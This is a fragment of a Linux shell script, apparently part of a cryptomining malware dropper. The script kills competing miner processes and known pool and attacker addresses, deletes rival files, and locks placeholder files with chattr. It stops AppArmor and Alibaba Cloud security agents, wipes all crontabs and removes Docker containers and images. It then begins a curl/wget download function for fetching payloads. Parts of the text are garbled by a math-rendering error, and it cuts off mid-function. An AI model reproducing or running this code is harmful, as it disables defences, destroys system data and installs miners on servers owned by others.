    ps aux | grep -v grep | grep ‘log_’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘systemten’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘netns’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘voltuned’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘darwin’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/dl’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/ddg’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/pprt’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/ppol’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/65ccE*’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/jmx*’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/2Ne80*’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘IOFoqIgyC0zmf2UR’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘45.76.122.92’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘51.38.191.178’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘51.15.56.161’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘86s.jpg’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘aGTSGJJp’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘nMrfmnRa’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘PuNY5tm2’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘I0r8Jyyt’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘AgdgACUD’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘uiZvwxG8’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘hahwNEdB’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘BtwXn5qH’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘3XEzey2T’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘t2tKrCSZ’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘HD7fcBgg’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘zXcDajSs’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘3lmigMo’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘AkMK4A2’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘AJ2AkKe’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘HiPxCJRS’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘http_0xCC030’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘http_0xCC031’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘http_0xCC032’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘http_0xCC033’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “C4iLM4L” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘aziplcr72qjhzvin’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | awk ‘{ if(substr($11,1,2)“./” && substr($12,1,2)“./”) print $2 }’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/boot/vmlinuz’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “i4b503a52cc5” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “dgqtrcst23rtdi3ldqk322j2” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “2g0uv7npuhrlatd” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “nqscheduler” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “rkebbwgqpl4npmm” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep “]” | awk ‘$3>10.0{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “2fhtu70teuhtoh78jc5s” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “0kwti6ut420t” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “44ct7udt0patws3agkdfqnjm” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v “/” | grep -v “-” | grep -v “_” | awk ‘length($11)>19{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “[^” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “rsync” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “watchd0g” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | egrep ‘wnTKYg|2t3ik|qW3xT.2|ddg’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “158.69.133.18:8220” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “/tmp/java” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘gitee.com’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/java’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘104.248.4.162’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘89.35.39.78’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/dev/shm/z3.sh’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘kthrotlds’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘ksoftirqds’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘netdns’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘watchdogs’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘kdevtmpfsi’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘kinsing’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘redis2’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    #ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd | grep -v kdevtmpfsi | awk ‘$3>80.0{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep " ps" | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “sync_supers” | cut -c 9-15 | xargs -I % kill -9 %
    ps aux | grep -v grep | grep “cpuset” | cut -c 9-15 | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep “x]” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep “sh] <” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep -v aux | grep " []" | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/l.sh’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/zmcat’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘hahwNEdB’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘CnzFVPLF’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘CvKzzZLs’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘aziplcr72qjhzvin’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘/tmp/udevd’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘sustse’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘sustse3’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘mr.sh’ | grep ‘wget’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘mr.sh’ | grep ‘curl’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘2mr.sh’ | grep ‘wget’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘2mr.sh’ | grep ‘curl’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘cr5.sh’ | grep ‘wget’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘cr5.sh’ | grep ‘curl’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘logo9.jpg’ | grep ‘wget’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘logo9.jpg’ | grep ‘curl’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘j2.conf’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘luk-cpu’ | grep ‘wget’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘luk-cpu’ | grep ‘curl’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘ficov’ | grep ‘wget’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘ficov’ | grep ‘curl’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘he.sh’ | grep ‘wget’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘he.sh’ | grep ‘curl’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘miner.sh’ | grep ‘wget’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘miner.sh’ | grep ‘curl’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘nullcrew’ | grep ‘wget’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘nullcrew’ | grep ‘curl’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘107.174.47.156’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘83.220.169.247’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘51.38.203.146’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘144.217.45.45’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘107.174.47.181’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘176.31.6.16’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “mine.moneropool.com” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “pool.t00ls.ru” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “xmr.crypto-pool.fr:8080” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “xmr.crypto-pool.fr:3333” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “zhuabcn@yahoo.com” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “monerohash.com” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “/tmp/a7b104c270” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “xmr.crypto-pool.fr:6666” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “xmr.crypto-pool.fr:7777” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “xmr.crypto-pool.fr:443” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “stratum.f2pool.com:8888” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “xmrpool.eu” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep -v grep | grep “kieuanilam.me” | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep xiaoyao | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps auxf | grep xiaoxue | awk ‘{print $2}’ | xargs -I % kill -9 %
    netstat -antp | grep ‘46.243.253.15’ | grep ‘ESTABLISHED|SYN_SENT’ | awk ‘{print $7}’ | sed -e “s//.//g" | xargs -I % kill -9 %
    netstat -antp | grep ‘176.31.6.16’ | grep ‘ESTABLISHED|SYN_SENT’ | awk ‘{print $7}’ | sed -e "s//.
    //g” | xargs -I % kill -9 %
    pgrep -f monerohash | xargs -I % kill -9 %
    pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
    pgrep -f xzpauectgr | xargs -I % kill -9 %
    pgrep -f slxfbkmxtd | xargs -I % kill -9 %
    pgrep -f mixtape | xargs -I % kill -9 %
    pgrep -f addnj | xargs -I % kill -9 %
    pgrep -f 200.68.17.196 | xargs -I % kill -9 %
    pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %
    pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
    pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
    pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
    pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
    pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
    pgrep -f mqdsflm.cf | xargs -I % kill -9 %
    pgrep -f stratum | xargs -I % kill -9 %
    pgrep -f lower.sh | xargs -I % kill -9 %
    pgrep -f ./ppp | xargs -I % kill -9 %
    pgrep -f cryptonight | xargs -I % kill -9 %
    pgrep -f ./seervceaess | xargs -I % kill -9 %
    pgrep -f ./servceaess | xargs -I % kill -9 %
    pgrep -f ./servceas | xargs -I % kill -9 %
    pgrep -f ./servcesa | xargs -I % kill -9 %
    pgrep -f ./vsp | xargs -I % kill -9 %
    pgrep -f ./jvs | xargs -I % kill -9 %
    pgrep -f ./pvv | xargs -I % kill -9 %
    pgrep -f ./vpp | xargs -I % kill -9 %
    pgrep -f ./pces | xargs -I % kill -9 %
    pgrep -f ./rspce | xargs -I % kill -9 %
    pgrep -f ./haveged | xargs -I % kill -9 %
    pgrep -f ./jiba | xargs -I % kill -9 %
    pgrep -f ./watchbog | xargs -I % kill -9 %
    pgrep -f ./A7mA5gb | xargs -I % kill -9 %
    pgrep -f kacpi_svc | xargs -I % kill -9 %
    pgrep -f kswap_svc | xargs -I % kill -9 %
    pgrep -f kauditd_svc | xargs -I % kill -9 %
    pgrep -f kpsmoused_svc | xargs -I % kill -9 %
    pgrep -f kseriod_svc | xargs -I % kill -9 %
    pgrep -f kthreadd_svc | xargs -I % kill -9 %
    pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
    pgrep -f kintegrityd_svc | xargs -I % kill -9 %
    pgrep -f jawa | xargs -I % kill -9 %
    pgrep -f oracle.jpg | xargs -I % kill -9 %
    pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
    pgrep -f 188.209.49.54 | xargs -I % kill -9 %
    pgrep -f 181.214.87.241 | xargs -I % kill -9 %
    pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
    pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
    pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
    pgrep -f servim | xargs -I % kill -9 %
    pgrep -f kblockd_svc | xargs -I % kill -9 %
    pgrep -f native_svc | xargs -I % kill -9 %
    pgrep -f ynn | xargs -I % kill -9 %
    pgrep -f 65ccEJ7 | xargs -I % kill -9 %
    pgrep -f jmxx | xargs -I % kill -9 %
    pgrep -f 2Ne80nA | xargs -I % kill -9 %
    pgrep -f sysstats | xargs -I % kill -9 %
    pgrep -f systemxlv | xargs -I % kill -9 %
    pgrep -f watchbog | xargs -I % kill -9 %
    pgrep -f OIcJi1m | xargs -I % kill -9 %
    pkill -f biosetjenkins
    pkill -f Loopback
    pkill -f apaceha
    pkill -f cryptonight
    pkill -f stratum
    pkill -f mixnerdx
    pkill -f performedl
    pkill -f JnKihGjn
    pkill -f irqba2anc1
    pkill -f irqba5xnc1
    pkill -f irqbnc1
    pkill -f ir29xc1
    pkill -f conns
    pkill -f irqbalance
    pkill -f crypto-pool
    pkill -f XJnRj
    pkill -f mgwsl
    pkill -f pythno
    pkill -f jweri
    pkill -f lx26
    pkill -f NXLAi
    pkill -f BI5zj
    pkill -f askdljlqw
    pkill -f minerd
    pkill -f minergate
    pkill -f Guard.sh
    pkill -f ysaydh
    pkill -f bonns
    pkill -f donns
    pkill -f kxjd
    pkill -f Duck.sh
    pkill -f bonn.sh
    pkill -f conn.sh
    pkill -f kworker34
    pkill -f kw.sh
    pkill -f pro.sh
    pkill -f polkitd
    pkill -f acpid
    pkill -f icb5o
    pkill -f nopxi
    pkill -f irqbalanc1
    pkill -f minerd
    pkill -f i586
    pkill -f gddr
    pkill -f mstxmr
    pkill -f ddg.2011
    pkill -f wnTKYg
    pkill -f deamon
    pkill -f disk_genius
    pkill -f sourplum
    pkill -f polkitd
    pkill -f nanoWatch
    pkill -f zigw
    pkill -f devtool
    pkill -f devtools
    pkill -f systemctI
    pkill -f watchbog
    pkill -f cryptonight
    pkill -f sustes
    pkill -f xmrig
    pkill -f xmrig-cpu
    pkill -f 121.42.151.137
    pkill -f init12.cfg
    pkill -f nginxk
    pkill -f tmp/wc.conf
    pkill -f xmrig-notls
    pkill -f xmr-stak
    pkill -f suppoie
    pkill -f zer0day.ru
    pkill -f dbus-daemon–system
    pkill -f nullcrew
    pkill -f systemctI
    pkill -f kworkerds
    pkill -f init10.cfg
    pkill -f /wl.conf
    pkill -f crond64
    pkill -f sustse
    pkill -f vmlinuz
    pkill -f exin
    pkill -f apachiii
    pkill -f networkmanager
    rm -rf /usr/bin/config.json
    rm -rf /usr/bin/exin
    rm -rf /tmp/wc.conf
    rm -rf /tmp/log_rot
    rm -rf /tmp/apachiii
    rm -rf /tmp/sustse
    rm -rf /tmp/php
    rm -rf /tmp/p2.conf
    rm -rf /tmp/pprt
    rm -rf /tmp/ppol
    rm -rf /tmp/javax/config.sh
    rm -rf /tmp/javax/sshd2
    rm -rf /tmp/.profile
    rm -rf /tmp/1.so
    rm -rf /tmp/kworkerds
    rm -rf /tmp/kworkerds3
    rm -rf /tmp/kworkerdssx
    rm -rf /tmp/xd.json
    rm -rf /tmp/syslogd
    rm -rf /tmp/syslogdb
    rm -rf /tmp/65ccEJ7
    rm -rf /tmp/jmxx
    rm -rf /tmp/2Ne80nA
    rm -rf /tmp/dl
    rm -rf /tmp/ddg
    rm -rf /tmp/systemxlv
    rm -rf /tmp/systemctI
    rm -rf /tmp/.abc
    rm -rf /tmp/osw.hb
    rm -rf /tmp/.tmpleve
    rm -rf /tmp/.tmpnewzz
    rm -rf /tmp/.java
    rm -rf /tmp/.omed
    rm -rf /tmp/.tmpc
    rm -rf /tmp/.tmpleve
    rm -rf /tmp/.tmpnewzz
    rm -rf /tmp/gates.lod
    rm -rf /tmp/conf.n
    rm -rf /tmp/devtool
    rm -rf /tmp/devtools
    rm -rf /tmp/fs
    rm -rf /tmp/.rod
    rm -rf /tmp/.rod.tgz
    rm -rf /tmp/.rod.tgz.1
    rm -rf /tmp/.rod.tgz.2
    rm -rf /tmp/.mer
    rm -rf /tmp/.mer.tgz
    rm -rf /tmp/.mer.tgz.1
    rm -rf /tmp/.hod
    rm -rf /tmp/.hod.tgz
    rm -rf /tmp/.hod.tgz.1
    rm -rf /tmp/84Onmce
    rm -rf /tmp/C4iLM4L
    rm -rf /tmp/lilpip
    rm -rf /tmp/3lmigMo
    rm -rf /tmp/am8jmBP
    rm -rf /tmp/tmp.txt
    rm -rf /tmp/baby
    rm -rf /tmp/.lib
    rm -rf /tmp/systemd
    rm -rf /tmp/lib.tar.gz
    rm -rf /tmp/baby
    rm -rf /tmp/java
    rm -rf /tmp/j2.conf
    rm -rf /tmp/.mynews1234
    rm -rf /tmp/a3e12d
    rm -rf /tmp/.pt
    rm -rf /tmp/.pt.tgz
    rm -rf /tmp/.pt.tgz.1
    rm -rf /tmp/go
    rm -rf /tmp/java
    rm -rf /tmp/j2.conf
    rm -rf /tmp/.tmpnewasss
    rm -rf /tmp/java
    rm -rf /tmp/go.sh
    rm -rf /tmp/go2.sh
    rm -rf /tmp/khugepageds
    rm -rf /tmp/.censusqqqqqqqqq
    rm -rf /tmp/.kerberods
    rm -rf /tmp/kerberods
    rm -rf /tmp/seasame
    rm -rf /tmp/touch
    rm -rf /tmp/.p
    rm -rf /tmp/runtime2.sh
    rm -rf /tmp/runtime.sh
    rm -rf /dev/shm/z3.sh
    rm -rf /dev/shm/z2.sh
    rm -rf /dev/shm/.scr
    rm -rf /dev/shm/.kerberods
    rm -f /etc/ld.so.preload
    rm -f /usr/local/lib/libioset.so
    chattr -i /etc/ld.so.preload
    rm -f /etc/ld.so.preload
    rm -f /usr/local/lib/libioset.so
    rm -rf /tmp/watchdogs
    rm -rf /etc/cron.d/tomcat
    rm -rf /etc/rc.d/init.d/watchdogs
    rm -rf /usr/sbin/watchdogs
    rm -f /tmp/kthrotlds
    rm -f /etc/rc.d/init.d/kthrotlds
    rm -rf /tmp/.sysbabyuuuuu12
    rm -rf /tmp/logo9.jpg
    rm -rf /tmp/miner.sh
    rm -rf /tmp/nullcrew
    rm -rf /tmp/proc
    rm -rf /tmp/2.sh
    rm /opt/atlassian/confluence/bin/1.sh
    rm /opt/atlassian/confluence/bin/1.sh.1
    rm /opt/atlassian/confluence/bin/1.sh.2
    rm /opt/atlassian/confluence/bin/1.sh.3
    rm /opt/atlassian/confluence/bin/3.sh
    rm /opt/atlassian/confluence/bin/3.sh.1
    rm /opt/atlassian/confluence/bin/3.sh.2
    rm /opt/atlassian/confluence/bin/3.sh.3
    rm -rf /var/tmp/f41
    rm -rf /var/tmp/2.sh
    rm -rf /var/tmp/config.json
    rm -rf /var/tmp/xmrig
    rm -rf /var/tmp/1.so
    rm -rf /var/tmp/kworkerds3
    rm -rf /var/tmp/kworkerdssx
    rm -rf /var/tmp/kworkerds
    rm -rf /var/tmp/wc.conf
    rm -rf /var/tmp/nadezhda.
    rm -rf /var/tmp/nadezhda.arm
    rm -rf /var/tmp/nadezhda.arm.1
    rm -rf /var/tmp/nadezhda.arm.2
    rm -rf /var/tmp/nadezhda.x86_64
    rm -rf /var/tmp/nadezhda.x86_64.1
    rm -rf /var/tmp/nadezhda.x86_64.2
    rm -rf /var/tmp/sustse3
    rm -rf /var/tmp/sustse
    rm -rf /var/tmp/moneroocean/
    rm -rf /var/tmp/devtool
    rm -rf /var/tmp/devtools
    rm -rf /var/tmp/play.sh
    rm -rf /var/tmp/systemctI
    rm -rf /var/tmp/.java
    rm -rf /var/tmp/1.sh
    rm -rf /var/tmp/conf.n
    rm -r /var/tmp/lib
    rm -r /var/tmp/.lib
    chattr -iau /tmp/lok
    chmod +700 /tmp/lok
    rm -rf /tmp/lok
    sleep 1
    chattr -i /tmp/kdevtmpfsi
    echo 1 > /tmp/kdevtmpfsi
    chattr +i /tmp/kdevtmpfsi
    sleep 1
    chattr -i /tmp/redis2
    echo 1 > /tmp/redis2
    chattr +i /tmp/redis2
    sleep 1
    chattr -i /usr/lib/systemd/systemd-update-daily
    echo 1 > /usr/lib/systemd/systemd-update-daily
    chattr +i /usr/lib/systemd/systemd-update-daily
    #yum install -y docker.io || apt-get install docker.io;
    docker ps | grep “pocosow” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker ps | grep “gakeaws” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker ps | grep “azulu” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker ps | grep “auto” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker ps | grep “xmr” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker ps | grep “mine” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker ps | grep “monero” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker ps | grep “slowhttp” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker ps | grep “bash.shell” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker ps | grep “entrypoint.sh” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker ps | grep “/var/sbin/bash” | awk ‘{print $1}’ | xargs -I % docker kill %
    docker images -a | grep “pocosow” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    docker images -a | grep “gakeaws” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    docker images -a | grep “buster-slim” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    docker images -a | grep “hello-” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    docker images -a | grep “azulu” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    docker images -a | grep “registry” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    docker images -a | grep “xmr” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    docker images -a | grep “auto” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    docker images -a | grep “mine” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    docker images -a | grep “monero” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    docker images -a | grep “slowhttp” | awk ‘{print $3}’ | xargs -I % docker rmi -f %
    #echo SELINUX=disabled >/etc/selinux/config
    service apparmor stop
    systemctl disable apparmor
    service aliyun.service stop
    systemctl disable aliyun.service
    ps aux | grep -v grep | grep ‘aegis’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    ps aux | grep -v grep | grep ‘Yun’ | awk ‘{print $2}’ | xargs -I % kill -9 %
    rm -rf /usr/local/aegis
    chattr -R -i /var/spool/cron
    chattr -i /etc/crontab
    crontab -r
    rm -rf /var/spool/cron/*
    }

    kill_sus_proc()
    {
    ps axf -o “pid”|while read procid
    do
    ls -l /proc/$procid/exe | grep /tmp
    if [ ? − n e 1 ] t h e n c a t / p r o c / ? -ne 1 ] then cat /proc/ ?ne1]thencat/proc/procid/cmdline| grep -a -E “phpguard|newdat.sh|phpupdate|networkmanager”
    if [ $? -ne 0 ]
    then
    kill -9 $procid
    else
    echo “don’t kill”
    fi
    fi
    done
    ps axf -o “pid %cpu” | awk '{if($2>=40.0) print KaTeX parse error: Expected 'EOF', got '}' at position 2: 1}̲' | while read …procid/cmdline| grep -a -E “phpguard|newdat.sh|phpupdate|networkmanager”
    if [ $? -ne 0 ]
    then
    kill -9 $procid
    else
    echo “don’t kill”
    fi
    done
    }

    downloads()
    {
    if [ -f “/usr/bin/curl” ]
    then
    echo $1,$2
    http_code=curl -I -m 10 -o /dev/null -s -w %{http_code} $1
    if [ “$http_code” -eq “200” ]
    then
    curl --connect-timeout 10 --retry 100 $1 > 2 e l i f [ " 2 elif [ " 2elif["http_code" -eq “405” ]
    then
    curl --connect-timeout 10 --retry 100 $1 > $2
    else
    curl --connect-timeout 10 --retry 100 $3 > $2
    fi
    elif [ -f “/usr/bin/cdt” ]
    then
    http_code = cdt -I -m 10 -o /dev/null -s -w %{http_code} $1
    if [ “$http_code” -eq “200” ]
    then
    cdt --connect-timeout 10 --retry 100 $1 > 2 e l i f [ " 2 elif [ " 2elif["http_code" -eq “405” ]
    then
    cdt --connect-timeout 10 --retry 100 $1 > $2
    else
    cdt --connect-timeout 10 --retry 100 $3 > $2
    fi
    elif [ -f “/usr/bin/wget” ]
    then
